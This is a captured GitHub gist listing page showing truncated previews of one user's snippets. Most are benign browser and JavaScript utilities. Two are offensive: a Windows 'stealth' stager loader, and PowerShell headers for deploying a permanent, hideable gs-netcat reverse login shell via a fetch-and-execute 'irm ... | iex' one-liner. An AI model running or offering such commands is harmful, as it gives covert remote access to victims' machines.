Skip to content

Instantly share code, notes, and snippets.

@santaklouse
santaklouse / stealth_loader.py
Last active June 21, 2026 04:51
Win64 stagers testing
import ctypes
import sys
import struct
import zlib
import tempfile
import os
if sys.platform != "win32":
print("[-] This script works only on Windows")
sys.exit(1)
@santaklouse
santaklouse / README.md
Created June 7, 2026 00:04
Bash script to minify and heavily obfuscate JavaScript files using Terser and javascript-obfuscator.
@santaklouse
santaklouse / add_playerjs_chromecast.cjs
Created June 3, 2026 14:30
It takes PlayerJS without Chromecast (pro module), removes the external Dean Edwards Packer layer if necessary inserts the ChromeCast module and adds a button with linkurl:"chromecast" to the skin/template.
#!/usr/bin/env node
'use strict';
/**
* add_playerjs_chromecast.cjs
*
* Uses PlayerJS without Chromecast, removes the external Dean Edwards Packer layer if necessary,
* inserts the ChromeCast module and adds a button with linkurl:"chromecast" to the skin/template.
*
* Usage:
const checkLuhn = (value) =>
String(value)
.replace(/\D/g, '')
.split('')
.reverse()
.map(Number)
.reduce((sum, digit, i) => {
if (i % 2 === 1) {
const doubled = digit * 2;
return sum + (doubled > 9 ? doubled - 9 : doubled);
# Install and start a permanent gs-netcat reverse login shell
#
# See https://github.com/hackerschoice/gsocket for examples.
#
# $Env:S="MySecret" # for deploying with a spesific secret.
# $Env:DEBUG=1 # for verbose output.
# $Env:HIDE=1 # to hide the console window.
$ERR_LOGS=$null # New-TemporaryFile
$GITHUB_REPO="https://api.github.com/repos/hackerschoice"
# Install and start a permanent gs-netcat reverse login shell
#
# See https://gsocket.io/ for examples.
#
# $Env:S="MySecret" # for deploying with a spesific secret.
# $Env:DEBUG=1 # for verbose output.
# ex: $env:S="mysecret"; irm https://gsocket.io/1 | iex
$ErrorActionPreference = "SilentlyContinue"

Install

mkdir -p ~/bin
chmod +x ~/bin/ai-bash.py
echo 'alias ai="python3 ~/bin/ai-bash.py"' >> ~/.bashrc

openai

@santaklouse
santaklouse / select_and_make_scrolled_screenshot.js
Created February 5, 2026 22:34
Paste into devtools and element selector appears where you could click and you get screenshot of the scrolled content
(() => {
async function loadScript(filePath, cacheBuster = `?bust=${new Date().getTime()}`) {
return await new Promise((resolve, reject) => {
const scriptTag = document.createElement('script');
scriptTag.onload = () => console.log('loaded');
scriptTag.type = 'text/javascript';
scriptTag.src = `${filePath}${cacheBuster}`;
scriptTag.onload = resolve;
scriptTag.onerror = reject;
document.querySelector('head').appendChild(scriptTag);
@santaklouse
santaklouse / make_screenshot.js
Created February 5, 2026 21:57
Makes screenshot of html page with scroll using html2canvas
(async () => {
const SCROLL_SELECTOR = "body"; // <-- поменяй на нужный контейнер, например ".main-scroll"
const scrollEl = SCROLL_SELECTOR === "body"
? document.documentElement
: document.querySelector(SCROLL_SELECTOR);
if (!scrollEl) {
throw new Error("Scroll element not found: " + SCROLL_SELECTOR);
}
@santaklouse
santaklouse / remove_toast_dialog.js
Created January 27, 2026 12:28
Tampermonkey script for removing toast dialog window using jQuery
// ==UserScript==
// @name Remove toast dialog window using jQuery
// @namespace http://tampermonkey.net/
// @version 2026-01-27
// @description try to take over the world!
// @author You
// @match https://godsofmarketing-reserv.top/*
// @require https://code.jquery.com/jquery-4.0.0.slim.min.js
// @icon https://www.google.com/s2/favicons?sz=64&domain=tampermonkey.net
// @grant none